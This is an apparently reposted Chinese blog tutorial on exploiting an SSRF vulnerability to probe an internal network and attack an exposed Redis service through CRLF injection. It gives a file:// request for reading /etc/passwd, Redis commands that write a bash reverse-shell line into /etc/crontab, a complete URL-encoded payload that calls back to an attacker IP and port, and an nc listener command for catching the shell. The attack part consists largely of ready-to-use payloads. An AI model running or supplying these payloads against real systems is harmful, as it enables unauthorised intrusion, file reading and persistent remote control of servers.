zoukankan      html  css  js  c++  java
  • 利用SSRF漏洞内网探测来攻击Redis(请求头CRLF方式)

    最近大致了解完了Redis,记录一下关于Redis攻击方面的内容

    存在ssrf漏洞的站点主要利用四个协议,分别是httpfilegopherdict协议。

    SSRF 漏洞出现的场景

    • 1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞

    • 2.从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)

    • 3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

      1. 邮件协议(POP3、IMAP、SMTP)
    • 5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

    SSRF出现的根本原因

    由于服务端提供了从其他服务器应用获取数据的功能而且没有对目标地址做过滤与限制。

    也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我们构造好访问包,那就有可能利用目标服务对他的其他服务器应用进行调用。

    协议之间的分工

    file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口(如果没改的话),那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。

    利用http协议对内网进行探测

    探测整个内网的存活ip,和端口,找开启了6379端口的内网ip地址。可以利用扫描工具

    file协议读取文件

    形式类似与这样
    linux的/etc/passwd或者windows的C:/windows/win.ini ,也有可能直接意外收获到flag。

    http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
    
    

    攻击Redis

    只要知道内网有开启6379的redis服务(或许是改成其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。

    第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中

    还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。
    只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。

    原理
    redis协议特别简单,简单到可以被直接读懂, 协议格式如下

    *<参数数量> CR LF
    $<参数 1 的字节数量> CR LF
    <参数 1 的数据> CR LF
    ...
    $<参数 N 的字节数量> CR LF
    <参数 N 的数据> CR LF
    

    所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行

    test
    
    set 1 "
    
    
    
    * * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1
    
    
    
    "
    config set dir /etc/
    config set dbfilename crontab
    save
    
    aaa
    

    因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码(“GET”请求,可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令的)
    因此:
    编码后构造payload

    http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
    test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
    

    然后在自己的公网机上nc监听2333端口

    nc -lvp 2333 (或nc -l 2333)
    
    nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
    

    nc命令

    然后发送请求即可查看到反弹的shell

  • 相关阅读:
    关于idea中启动clean时Process terminated报错
    关于idea启动jsp时候Please, configure Web Facet first!
    关于Javaweb中jstl的foreach不能显示数据的问题
    关于Javaweb中报错信息Cause: java.sql.SQLException: Unknown initial character set index '255' received from server.解决办法
    关于使用idea 进行druid的数据库连接报错解决Cannot resolve com.mysq.jdbc.Connection.ping method. Will use 'SELECT 1' instead
    关于c3p0中显示数据库连接超时处理方法
    havel定理
    Skier
    扩展欧几里德算法(待补充)
    next_permutation(全排列)
  • 原文地址:https://www.cnblogs.com/AmosAlbert/p/13747408.html
Copyright © 2011-2022 走看看